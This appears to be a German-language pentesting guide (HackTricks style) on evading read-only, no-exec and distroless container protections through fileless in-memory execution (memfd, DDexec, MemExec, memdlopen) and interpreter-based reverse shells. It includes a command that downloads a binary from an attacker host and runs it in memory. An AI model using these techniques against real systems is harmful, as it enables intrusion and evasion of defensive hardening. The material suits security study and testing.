Bypass FS protections: read-only / no-exec / Distroless

Reading time: 7 minutes

Videos

In den folgenden Videos finden Sie die auf dieser Seite erwähnten Techniken ausführlicher erklärt:

• DEF CON 31 - Exploring Linux Memory Manipulation for Stealth and Evasion
• Stealth intrusions with DDexec-ng & in-memory dlopen() - HackTricks Track 2023

read-only / no-exec scenario

Es ist immer häufiger anzutreffen, dass Linux-Maschinen mit read-only (ro) Dateisystemschutz gemountet werden, insbesondere in Containern. Das liegt daran, dass es so einfach ist, einen Container mit ro Dateisystem zu betreiben, wie readOnlyRootFilesystem: true im securitycontext festzulegen:

apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
      readOnlyRootFilesystem: true
    command: ["sh", "-c", "while true; do sleep 1000; done"]

Allerdings, selbst wenn das Dateisystem als ro gemountet ist, bleibt /dev/shm beschreibbar, sodass es nicht wahr ist, dass wir nichts auf die Festplatte schreiben können. Diese Ordner werden jedoch mit no-exec-Schutz gemountet, sodass Sie hier eine Binärdatei herunterladen, aber nicht ausführen können.

Easiest bypass: Scripts

Beachten Sie, dass ich von Binärdateien gesprochen habe, Sie können jedes Skript ausführen, solange der Interpreter auf der Maschine vorhanden ist, wie ein Shell-Skript, wenn sh vorhanden ist, oder ein Python Skript, wenn python installiert ist.

Allerdings reicht dies nicht aus, um Ihre Binär-Backdoor oder andere Binärwerkzeuge auszuführen, die Sie möglicherweise benötigen.

Memory Bypasses

Wenn Sie eine Binärdatei ausführen möchten, aber das Dateisystem dies nicht zulässt, ist der beste Weg, dies zu tun, indem Sie es aus dem Speicher ausführen, da die Schutzmaßnahmen dort nicht gelten.

FD + exec syscall bypass

Wenn Sie einige leistungsstarke Skript-Engines auf der Maschine haben, wie Python, Perl oder Ruby, könnten Sie die Binärdatei herunterladen, um sie aus dem Speicher auszuführen, sie in einem Speicher-Dateideskriptor (create_memfd syscall) speichern, der nicht durch diese Schutzmaßnahmen geschützt ist, und dann einen exec syscall aufrufen, der den fd als die auszuführende Datei angibt.

Dafür können Sie leicht das Projekt fileless-elf-exec verwenden. Sie können ihm eine Binärdatei übergeben, und es wird ein Skript in der angegebenen Sprache generiert, das die Binärdatei komprimiert und b64-kodiert mit den Anweisungen, um sie in einem fd zu dekodieren und zu dekomprimieren, das durch den Aufruf des create_memfd syscalls erstellt wurde, und einen Aufruf des exec syscalls, um es auszuführen.

DDexec / EverythingExec

DDexec / EverythingExec ist eine Technik, die es Ihnen ermöglicht, den Speicher Ihres eigenen Prozesses zu modifizieren, indem Sie dessen /proc/self/mem überschreiben.

Daher können Sie, indem Sie den Assembly-Code steuern, der vom Prozess ausgeführt wird, einen Shellcode schreiben und den Prozess "mutieren", um beliebigen Code auszuführen.

# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar

Für weitere Informationen zu dieser Technik, siehe das Github oder:

DDexec / EverythingExec

MemExec

Memexec ist der natürliche nächste Schritt von DDexec. Es ist ein DDexec Shellcode demonisiert, sodass Sie jedes Mal, wenn Sie eine andere Binärdatei ausführen möchten, DDexec nicht neu starten müssen. Sie können einfach den Memexec-Shellcode über die DDexec-Technik ausführen und dann mit diesem Dämon kommunizieren, um neue Binärdateien zu laden und auszuführen.

Ein Beispiel, wie man memexec verwendet, um Binärdateien von einem PHP-Reverse-Shell auszuführen, finden Sie unter https://github.com/arget13/memexec/blob/main/a.php.

Memdlopen

Mit einem ähnlichen Zweck wie DDexec ermöglicht die memdlopen Technik eine einfachere Möglichkeit, Binärdateien im Speicher zu laden, um sie später auszuführen. Es könnte sogar ermöglichen, Binärdateien mit Abhängigkeiten zu laden.

Distroless Bypass

Was ist distroless

Distroless-Container enthalten nur die minimalen Komponenten, die notwendig sind, um eine bestimmte Anwendung oder Dienst auszuführen, wie Bibliotheken und Laufzeitabhängigkeiten, schließen jedoch größere Komponenten wie einen Paketmanager, eine Shell oder Systemdienstprogramme aus.

Das Ziel von Distroless-Containern ist es, die Angriffsfläche von Containern zu reduzieren, indem unnötige Komponenten eliminiert und die Anzahl der ausnutzbaren Schwachstellen minimiert wird.

Reverse Shell

In einem Distroless-Container finden Sie möglicherweise nicht einmal sh oder bash, um eine reguläre Shell zu erhalten. Sie werden auch keine Binärdateien wie ls, whoami, id... finden, alles, was Sie normalerweise in einem System ausführen.

Wenn der kompromittierte Container jedoch beispielsweise eine Flask-Webanwendung ausführt, ist Python installiert, und daher können Sie eine Python-Reverse-Shell erhalten. Wenn es Node ausführt, können Sie eine Node-Reverse-Shell erhalten, und das Gleiche gilt für die meisten Skriptsprache.

Wenn es keine read-only/no-exec-Schutzmaßnahmen gibt, könnten Sie Ihre Reverse Shell missbrauchen, um Ihre Binärdateien im Dateisystem zu schreiben und sie auszuführen.

Sie finden Beispiele, wie man einige RCE-Schwachstellen ausnutzt, um Skriptsprache Reverse Shells zu erhalten und Binärdateien aus dem Speicher auszuführen unter https://github.com/carlospolop/DistrolessRCE.